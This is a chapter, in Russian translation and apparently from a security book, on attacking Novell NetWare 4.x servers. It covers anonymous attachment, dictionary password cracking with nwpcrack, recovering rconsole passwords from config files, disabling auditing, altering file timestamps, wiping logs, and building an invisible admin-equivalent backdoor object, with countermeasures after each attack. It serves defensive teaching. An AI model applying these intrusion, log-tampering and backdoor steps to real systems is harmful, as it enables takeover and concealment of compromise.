Контрмеры, позволяющие предотвратить попытки взломщика несанкционированно получить данные на томах NetWare просты и очевидны. Оба совета предполагают ограничение прав пользователей.

 С помощью утилиты filer назначьте ограниченные права доступа ко всем томам, каталогам и файлам.

 С использованием утилиты Nwadamn3x назначьте ограниченные права доступа ко всем объектам дерева NDS, включая Organization, Organizational Unit, серверы, пользователей и т.д.

nwpcrack

Утилита nwpcrack представляет собой средство взлома паролей систем NetWare 4.x С ее помощью можно взломать пароль определенного пользователя с использованием словаря. В приведенном примере была обнаружена группа администраторов. После регистрации в качестве пользователя появляется возможность увидеть пользователей, имеющих права, эквивалентные администраторам, или просто тех из них, кто является членом группы администраторов, MIS и т.д. Проделав это, в группе администраторов были обнаружены пользователи DEOANE и JSYMOENS. Именно с них и стоит начать атаку.

Запустив утилиту nwpcrack для пользователя DEOANE, нам удалось взломать его пароль, как видно из следующего рисунка. Теперь мы обладаем привилегиями администратора на данном сервере и можем получить доступ к любому из объектов, доступных этому пользователю.



Не пытайтесь применять утилиту nwpcrack к учетным записям администраторов, если включен режим блокировки вторжений. В противном случае может быть заблокирована учетная запись за пределами дерева. Перед тестированием с помощью утилиты nwpcrack учетной записи ADMIN (или эквивалентной) нужно создать ее резервную копию. В системе Windows NT не может возникнуть подобного состояния DoS, поскольку в ней нельзя заблокировать исходную учетную запись администратора, если не используется дополнительная утилита из набора NTRK, passprop. Если с помощью утилиты nwpcrack будет обнаружен активный режим выявления вторжений, то вы получите сообщение tried password«password» с тем же паролем, выведенным повторно. Это будет свидетельствовать о том, что сервер NetWare больше не будет принимать запросы на регистрацию от этого пользователя. Тогда нужно нажать комбинацию клавиш <Ctrl+C>, чтобы выйти из программы, поскольку в противном случае на консоли сервера появится хорошо знакомое сообщение DS-5.73-32: intruder lock-out on account Admin ("Блокирование вторжения для учетной записи Admin"). А это совсем не входит в планы взломщика.



Контрмеры: защита от утилиты nwpcrack

Защититься от подбора пароля пользователей (скорее всего, администраторов) с помощью утилиты nwpcrack очень просто. Вот некоторые рекомендации.

 Реализуйте строгую политику использования паролей. Компания Novell не предоставила простого решения этой проблемы. Ее позиция по этому вопросу заключается в том, что администраторы могут ввести строгий режим использования паролей лишь посредством следования принятой политике обеспечения безопасности. Это сильно отличается от позиции компании Microsoft, которая с помощью динамически подключаемой библиотеки passfilt.dll позволяет ограничить типы паролей, которые можно использовать, принудительно задавая минимальную длину паролей и обязательные метасимволы (например, !@#$%). Как минимум нужно требовать, чтобы пользователи использовали пароли определенной длины и избегали повторений. Длину пароля проще всего контролировать С ПОМОЩЬЮ Переменной USER_TEMPLATE.

 Включите режим выявления вторжений и блокирование учетных записей. Выделите нужный контейнер (Organizational Unit), а затем выберите команду Details. Щелкните на кнопке Intruder Detection и задайте для параметров требуемые значения. По умолчанию рекомендуется установить следующие значения.

Detect Intruders  Включен

Incorrect login attempts &nb 3

Intruder attempt reset interval (Days)      14

Intruder attempt reset interval (Hours)     0

Intruder attempt reset interval (Minutes)  0

Lock account after detection   &nbssp;  Включен 

Intruder lockout reset interval (Days)      7

Intruder lockout reset interval (Hours)     0

Intruder lockout reset interval (Minutes)  0


Получив права администратора на сервере...


С этого момента самая тяжелая часть работы взломщика осталась позади. Теперь в его распоряжении права администратора сервера и, скорее всего, значительная часть дерева. Следующим шагом является получение доступа к утилите rconsole сервера и сбор файлов NDS.

Хакинг утилиты rconsole

Получить пароль к утилите rconsole можно несколькими способами, однако на самом деле существует лишь один простой путь, который зависит от степени медлительности администратора. По умолчанию пароль к утилите rconsole хранится в виде незашифрованного текста. Это можно проверить следующим образом.

1. Просмотрите файл SYS: \SYSTEM\autoexec.ncf.

2. Найдите строку load remote. В качестве следующего параметра должен быть указан пароль, который, возможно, будет представлять незашифрованный текст. load remote ucantcme

3. Если после строки remote пароля нет, а вместо него указан параметр -Е, то вас можно поздравить - как минимум, администратор зашифровал пароль утилиты rconsole.

load remote -E 158470C4111761309539DO

 Однако упрямому взломщику это лишь добавит еще один шаг на пути получения полного контроля над системой. Хакер Мечтатель (Dreamer, или Разрушитель, TheRuiner) разобрался с алгоритмом, применяемым при шифровании пароля утилиты rconsole, и написал исходный код на языке Pascal, который можно использовать для получения этого пароля (http://www.nmrc.org/files/netware/remote.zip). Для расшифровки пароля можно использовать также написанный авторами книги сценарий Perl, который находится на Web-узле www.hackingexposed.com. Особенность использования этого сценария заключается в том, что нужно просто найти пароль утилиты rconsole (неважно, зашифрованный или нет). Если у вас имеется много времени, которое вы готовы потратить на поиск этого пароля, то воспользуйтесь следующими рекомендациями.

 Если вы не обнаружили строку load remote в файле autoexec.ncf, не отчаивайтесь; она может содержаться в другом файле NCF. Например, для хранения команды load remote по умолчанию обычно используется файл SYS: \SYSTEM\ldremote.ncf. Этот файл также можно просмотреть и проверить, не содержится ли в нем незашифрованный пароль.




  Если вы все еще не нашли строку load remote, то это может означать, что администратор воспользовался командой inetcfg и перенес команды из файла autoexec.ncf в файлы initsys.ncf и netinfo.cfg. Оба файла содержатся в каталоге SYS:ETC. При первом запуске программы inetcfg с консоли она пытается переместить все команды из файла autoexec.ncf в файл inetcfg. В результате в этом файле пароль должен содержаться в том же виде, что и в файле autoexec.ncf.

Контрмеры против использования незашифрованных паролей утилиты rconsole

Предотвратить такую опасность очень просто. Компания Novell предлагает механизм шифрования пароля утилиты rconsole с помощью команды remote encrypt. Вот что для этого необходимо сделать.

1. Убедитесь, что не загружены утилиты rspx и remote.

2. Введите с консоли команду load remote «пароль».

3. С консоли введите команду remote encrypt.

4. В ответ на появившийся запрос наберите пароль утилиты rconsole.

5. На экране появится запрос о том, нужно ли добавить зашифрованный пароль в файл SYS: \SYSTEM\ldremote.ncf. Ответьте "да".

6. Удалите все строки с паролем из файлов autoexec.ncf и netinfo.cfg.

7. Убедитесь, что для вызова команды load remote в файл autoexec.ncf добавлен файл Idremote.ncf.

В настоящее время не существует модулей обновления, позволяющих защититься от декодирования зашифрованных паролей утилиты rconsole (а ля Разрушитель!). Для получения самой свежей информации по этому вопросу регулярно обращайтесь ПО адресу http://oliver.efri.hr/~crv/security/bugs/
Others/nwarel2.html. Сценарий Perl, позволяющий расшифровать этот пароль, (remote.pi), можно найти на нашем Web-узле www.hackingexposed.com


Редактирование журналов регистрации


Профессиональные взломщики обязательно выполнят эту задачу, чтобы скрыть следы своей деятельности. Сделать это можно, отключив систему аудита, изменив время последнего обращения и модификации файлов, а также откорректировав файлы журналов.

Отключение системы аудита

При выполнении своих злонамеренных действий умные взломщики обязательно проверят, установлена ли система аудита, а затем отключат регистрацию определенных событий. Вот несколько шагов, которые предпримет взломщик, чтобы отключить систему аудита для службы каталогов и серверов.

1. Запустите утилиту auditcon из каталога SYS: \PUBLIC.

2. Выберите команду Audit Directory Services.

3. Выберите требуемый контейнер и нажмите клавишу <F10>.

4. Выберите команду Auditing Configuration.

5. Выберите команду Disable Container Auditing.

6. Теперь можно приступать к добавлению контейнеров и пользователей в выбранный контейнер.

Изменение атрибутов файлов

Если взломщик изменил файл autoexec.ncf или netinfo.cfg, то ему вряд ли  захочется, чтобы об этом кому-либо стало известно. Для изменения даты последнего обращения к этим файлам прекрасно подходит утилита SYS:PUBLIC\filer. Как и команда touch систем UNIX и NT, filer — это утилита DOS, предназначенная для поиска файлов и изменения их атрибутов. Модифицировать атрибуты файла очень просто. Для этого нужно сделать следующее.

1. Запустите утилиту filer из каталога SYS: PUBLIC.

2. Выберите команду Manage files and directories.

3. Найдите каталог, в котором расположен требуемый файл.

4. Выделите его.

5. Выберите команду View/Set file information.

6. Измените значения полей Last accessed date и Last modified date, как показано на следующем рисунке.




Несмотря на большой путь, пройденный


Несмотря на большой путь, пройденный компанией Novell в процессе разработки надежной сетевой операционной системы, многие вопросы обеспечения безопасности оказались вне ее поля зрения. В данной главе вы увидели, насколько легко предпринять атаку на сервер NetWare, получить доступ к дереву NDS и серверу на уровне пользователей, а затем — с правами администратора. Были рассмотрены различные слабые стороны системы NetWare, а также средства, с помощью которых взломщик может получить полный контроль на всем деревом NDS.

Для каждого из описанных слабых мест существуют соответствующие контрмеры, и многие из них сводятся, по существу, к одношаговой процедуре. Эти методы защиты являются очень простыми, однако далеко не все администраторы понимают важность их использования.

Соединение без регистрации


Первым шагом взломщика является создание анонимного соединения (attachment) с сервером Novell. Для того чтобы разобраться с понятием "соединения", нужно понять, что происходит в процессе регистрации NetWare. Процесс регистрации на сервере NetWare реализован компанией Novell следующим образом. До аутентификации сервером к нему необходимо сначала присоединиться. Соединение и регистрация не являются взаимозаменяемыми. Другими словами, если регистрация завершилась неудачно, то соединение будет сохранено. Так что для соединения нет необходимости использовать корректное имя пользователя и пароль. Как вы скоро узнаете, присоединившись к компьютеру с системой NetWare, взломщик может сразу же приступать к своему черному делу.

В главе 3 вы узнали, как просмотреть список компьютеров сети и, в частности, все серверы NetWare и имеющиеся деревья NDS. Теперь все, что нужно, сделать, — это присоединиться к серверу. Для этого можно воспользоваться различными способами. Здесь будут рассмотрены три основных средства из этой категории: утилита On-Site Admin от компании Novell, snlist и nslist.

On-Site Admin

В набор средств обеспечения безопасности администратор должен включить утилиту On-Site Admin. Она представляет собой средство администрирования NetWare с графическим интерфейсом, разработанное компанией Novell. Утилита On-Site Admin предоставляет информацию о серверах и деревьях, а также практически исчерпывающие данные, позволяющие оценить состояние системы защиты. При разработке этого приложения разработчики Novell приняли разумное решение, однако его можно использовать и против вас. Достаточно забавно, что теперь приложение On-Site Admin является одним из основных средств хакинга Novell.

При загрузке приложение On-Site Admin отображает все серверы NetWare, перечень которых был получен в результате просмотра сетевого окружения (см. главу 3). После отображения списка серверов в диалоговом окне On-Site Admin просто щелкните на имени требуемого сервера с помощью мыши. При этом автоматически будет создано соединение с сервером. Это можно проверить с помощью программы управления службами Novell NetWare Services, выбрав команду NetWare Connections. Присоединяясь к каждому из интересующих вас серверов, можно приступить к их изучению.



snlist и nslist

Утилиты snlist и nslist позволяют создать соединение с сервером точно так же, как и приложение On-Site Admin, только из командной строки. Утилита snlist работает быстрее nslist и хорошо подходит для наших целей, однако nslist оказывается не менее полезной, поскольку позволяет получить полный адрес сервера. Обе программы можно использовать без параметров, чтобы присоединиться ко всем серверам локальной сети. Такой способ соединения создает предпосылки для того, чтобы в полной мере "вкусить прелести" хакинга.

Если у вас возникли проблемы соединения с серверами Novell, проверьте наличие основного сервера. Для этого откройте диалоговое окно NetWare Connections и убедитесь в том, что в нем имеется сервер, перед именем которого указан символ *. Перед выполнением этих операций необходимо, чтобы существовал как минимум один присоединенный сервер. Если после этого проблема не исчезла, выделите другой сервер и щелкните на кнопке Set Primary.

При использовании утилит командной строки необходимо запустить новый сеанс командной строки (cmd.exe для NT или command. com для Win 9x). В противном случае возникнет много ошибок и потребуется потратить много времени на их устранение.

Контрмеры против соединения

Нам неизвестно ни одного механизма, с помощью которого можно отключить возможность соединения с сервером NetWare. В настоящее время этот вопрос остается нерешенным, в том числе и в NetWare 5.


Уязвимость NOVELL NETWARE


Стандартным заблуждением относительно компании Novell является то, что ее программные продукты несколько устарели и утратили актуальность (по крайней мере в этом нас стараются убедить сообщества Microsoft и UNIX). Несмотря на отсутствие настойчивой рекламы, а также на то, что в последние годы рынок программного обеспечения компании Novell не расширялся, до ее забвения все же еще очень далеко. Во всем мире имеется более сорока миллионов пользователей NetWare, и риск потери важных корпоративных данных чрезвычайно высок. В этой книге будут рассматриваться различные версии NetWare, однако основное внимание мы уделим системе NetWare 4.x с клиентом Client32 — наиболее популярной в настоящее время. Однако если вы приобрели NetWare 5, не расслабляйтесь: многие из описываемых в данной главе атак, а также контрмеры против них по-прежнему актуальны.

Более семнадцати лет на серверах Novell хранятся наиболее важные и конфиденциальные корпоративные данные — платежные ведомости, контракты, информация о трудовых ресурсах, отчеты о финансовой деятельности и многое другое. Просто поразительно, сколько компаний не могут (или не хотят) отказаться от системы NetWare и оставляют тем самым свои сети незащищенными и лишенными требуемого уровня обслуживания.

Однако почему система NetWare является незащищенной? У компании Novell было более 16 лет для обеспечения защиты своих программных продуктов. Почему же мы вынуждены снова беспокоиться об этом? Ответ на этот вопрос можно получить у Novell, а не у экспертов по вопросам безопасности. Естественно, систему NetWare можно сделать очень защищенной, однако с применением дополнительных средств. Сама система далека от совершенства. В NetWare 4.x имеются лишь ограниченные средства обеспечения безопасности. Например, по умолчанию любой пользователь может просматривать дерево NDS (Novell Directory Service). При этом не требуется никакой аутентификации. Что еще более примечательно, пользователям Novell не обязательно иметь пароль. Кроме того, при создании учетной записи администраторы не обязаны задавать пароль.



Если фраза " хакинг NetWare" звучит слишком просто, чтобы оказаться правдой, попробуйте это осуществить самостоятельно. Большинство администраторов NetWare не понимают последствий установки сервера с параметрами, заданными по умолчанию, и, как следствие, совершенно не заботятся о его защите. Почти наверняка вы будете очень удивлены после того, как поэкспериментируете с сервером NetWare, проверяя его готовность к отражению потенциальных атак.

В главе 3 вы узнали, каким образом взломщики могут получить информацию о сети, что впоследствии позволит им подключиться к компьютеру с системой NetWare. В данной главе будут рассмотрены последующие два шага, которые может предпринять взломщик, чтобы получить на сервере Novell привилегии администратора и в конечном итоге — доступ к дереву NDS. Пример, рассматриваемый на протяжении этой главы, является абсолютно стандартным. Успешность большинства атак, описываемых в этой главе, зависит от наличия в системе NetWare контекста связки (bindery context), который по умолчанию имеется на всех серверах NetWare 4.x, однако на некоторых из них может отсутствовать.


Журналы консольных сообщений


Утилита conlog.nlm предоставляет возможность записи консольных сообщений и ошибок, например о выявлении вторжений и блокировании учетных записей. Получив доступ к утилите rconsole, взломщик без проблем может ввести команду unload conlog, отключив режим регистрации сообщений в файле, а затем снова включить этот режим и возобновить запись сообщений в совершенно новый файл console.log. При этом предыдущий файл удаляется, а вместе с ним и все записанные ошибки и сообщения. Грамотный системный администратор должен рассматривать такую ситуацию как попытку взлома. К сожалению, на практике ее иногда относят к разряду необъяснимого.

Системные ошибки и сообщения, генерируемые в процессе загрузки сервера и выполнения им операций, постоянно регистрируются в файле SYS: SYSTEMX sysSerr.log. Обладая привилегиями администратора, взломщик способен отредактировать этот файл и удалить из него сообщения, связанные с его деятельностью, включая блокирование используемой им учетной записи.

Контрмеры против редактирования журналов регистрации

Следите за изменениями файлов console.log и sysSerr.log. Порекомендовать какие-либо простые способы защиты нельзя. Контролируйте администраторов (или взломщиков), которые знают о том, что решаемая ими задача может оказаться неразрешимой. И проверяйте содержимое файлов журналов в надежде на то, что в них найдут отражение сообщения об отключении системы аудита.

1. Запустите утилиту SYS: PUBLlCXauditcon.

2. Выберите команду Audit configuration.

3. Выберите команду Audit by file/Directory.

4. Найдите файлы SYS:ETC\console.log и SYS:SYSTEM\sys$err.log.

5. Выделите каждый из файлов и нажмите клавишу <F10>, чтобы подключить систему аудита и приступить к записи сообщений.

6. Выйдите из утилиты auditcon.

"Потайные ходы"

Самым эффективным "потайным ходом" системы NetWare является то, чего вы никогда не сможете добиться самостоятельно,— "осиротевшие" объекты (orphaned object). Использование скрытого объекта OU (Organizational Unit), содержащего пользователя с правами, эквивалентными администратору, и правами опекунства на свой собственный контейнер, позволит эффективно скрыть этот объект.



1. Зарегистрируйтесь в дереве NDS в качестве администратора или с эквивалентными правами.

2. Запустите утилиту NetWare Administrator (nwadmn3x.exe).

3. В глубине дерева создайте новый контейнер. Щелкните правой кнопкой на существующем объекте OU и создайте новый объект OU, выбрав команду Create, a затем элемент Organizational Unit.

4. Внутри этого контейнера создайте новый объект-пользователь. Щелкните правой кнопкой на новом контейнере, выберите команду Create, а затем — элемент User.

5. Предоставьте объекту-пользователю полные права опекунства на его собственный объект. Щелкните правой кнопкой на новом пользователе, и выберите команду Trustees of this Object. Теперь пользователь является явным опекуном.

6. Назначьте этому пользователю полные права опекунства на новый контейнер. Щелкните правой кнопкой на новом контейнере и выберите команду Trustees of this Object. Сделайте объект-пользователь явным опекуном нового контейнера, установив все флажки, как показано на следующем рисунке.

7. Измените свойства пользователя таким образом, чтобы он получил права, эквивалентные администратору. Щелкните правой кнопкой на объекте-пользователе, выберите в появившемся контекстном меню команду Details, перейдите во вкладку Security Equal To, щелкните на кнопке Add и выберите Admin.

8. Модифицируйте фильтр наследуемых прав (inherited rights filter — IRF) контейнера, отменив права Browse и Supervisor.

При выполнении п. 8 будьте осторожны, поскольку после этого контейнер и созданный объект-пользователь станут невидимыми для всех пользователей, включая Admin. Администраторы не смогут увидеть или удалить этот объект. Сокрытие объекта от администратора оказывается возможным из-за того, что в дереве NDS можно отменить права supervisor для любого объекта или свойства.

9. Теперь зарегистрируйтесь с помощью только что созданного "потайного хода". Не забывайте, что в дереве вы не сможете увидеть новый контейнер. Следовательно, в процессе регистрации потребуется ввести контекст вручную, как видно на следующем рисунке.





Для получения более подробной информации обратитесь на Web-узел хакерской лаборатории NMRC (Nomad Mobile Research Centre) (http://www.nmrc.org). Симпл Номад (Simple Nomad) подробно описал эту технологию в разделе Unofficial Hack FAQ по адресу http://www.nmrc.org/faqs/hackfaq/ hackfaq.html.

Контрмеры против "потайныхходов"

Для защиты от подобных нападений можно использовать несколько средств, как свободно распространяемых, так и коммерческих.

Среди коммерческих программных продуктов можно порекомендовать набор средств администрирования EMS/NOSadmin версии 6 (http://www.bindview.com) от компании BindView. Ее можно использовать для поиска скрытых объектов.

Из категории свободно распространяемого программного обеспечения заслуживает внимания программа Hidden Object Locator, которую можно найти по адресу http://www.netwarefiles.com/utils/hobjloc.zip. Эта программа запускается на сервере в качестве модуля NLM и выполняет сканирование дерева NDS на предмет поиска объектов, у которых отсутствуют права просмотра для зарегистрированных пользователей (обычно Admin). Эта программа имеет небольшой размер (87 Кбайт) и абсолютна бесплатна, что делает ее прекрасным решением проблемы скрытых объектов.

Компания Novell предоставляет лишь один метод решения описанной проблемы — подключение системы аудита. С помощью утилиты SYS:PUBLlC\auditcon можно регистрировать событие Grant Trustee.

1. Запустите утилиту auditcon.

2. Выберите команду Audit Directory Services.

3. Выберите команду Audit Directory Tree.

4. Выберите контейнер, для которого нужно подключить систему аудита, и нажмите клавишу <F10>.

5. Выберите команду Enable Container Auditing.

6. Нажимайте клавишу <Esc> до тех пор, пока не вернетесь в главное меню.

7. Выберите команду Enable Volume Auditing.

8. Выберите команду Auditing Configuration.

9. Выберите Audit By Event.

10. Выберите Audit By User Events. 

11. Включите режим Grant Trustee.

Конечно, предлагаемый метод предполагает, что взломщики не окажутся достаточно умными и перед созданием "потайного хода" не отключат систему аудита.